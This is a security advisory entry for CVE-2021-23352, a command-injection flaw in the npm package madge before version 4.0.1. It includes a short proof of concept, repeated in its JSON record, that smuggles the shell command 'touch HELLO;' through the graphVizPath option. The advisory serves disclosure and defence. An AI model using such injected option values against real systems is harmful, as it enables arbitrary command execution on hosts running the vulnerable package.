GHSA-753C-PHHG-CJ29
Vulnerability from github – Published: 2021-03-12 23:01 – Updated: 2023-09-06 23:33
VLAI?
Summary
Madge vulnerable to command injection
Details
This affects the package madge before 4.0.1. It is possible to specify a custom Graphviz path via the graphVizPath option parameter which, when the .image(), .svg() or .dot() functions are called, is executed by the childprocess.exec function.
PoC
const madge = require('madge');
madge('..', {graphVizPath: "touch HELLO;"}) .then((res) => res.svg()) .then((writtenImagePath) => { console.log('Image written to ' + writtenImagePath); });
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "madge"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-23352"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2021-03-12T21:10:53Z",
"nvd_published_at": "2021-03-09T19:15:00Z",
"severity": "HIGH"
},
"details": "This affects the package madge before 4.0.1. It is possible to specify a custom Graphviz path via the graphVizPath option parameter which, when the .image(), .svg() or .dot() functions are called, is executed by the childprocess.exec function.\n\n### PoC\n```js\nconst madge = require(\u0027madge\u0027); \nmadge(\u0027..\u0027, {graphVizPath: \"touch HELLO;\"}) .then((res) =\u003e res.svg()) .then((writtenImagePath) =\u003e { console.log(\u0027Image written to \u0027 + writtenImagePath); });\n```",
"id": "GHSA-753c-phhg-cj29",
"modified": "2023-09-06T23:33:10Z",
"published": "2021-03-12T23:01:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23352"
},
{
"type": "WEB",
"url": "https://github.com/pahen/madge/commit/da5cbc9ab30372d687fa7c324b22af7ffa5c6332"
},
{
"type": "WEB",
"url": "https://github.com/pahen/madge/blob/master/lib/graph.js#L27"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-MADGE-1082875"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Madge vulnerable to command injection"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…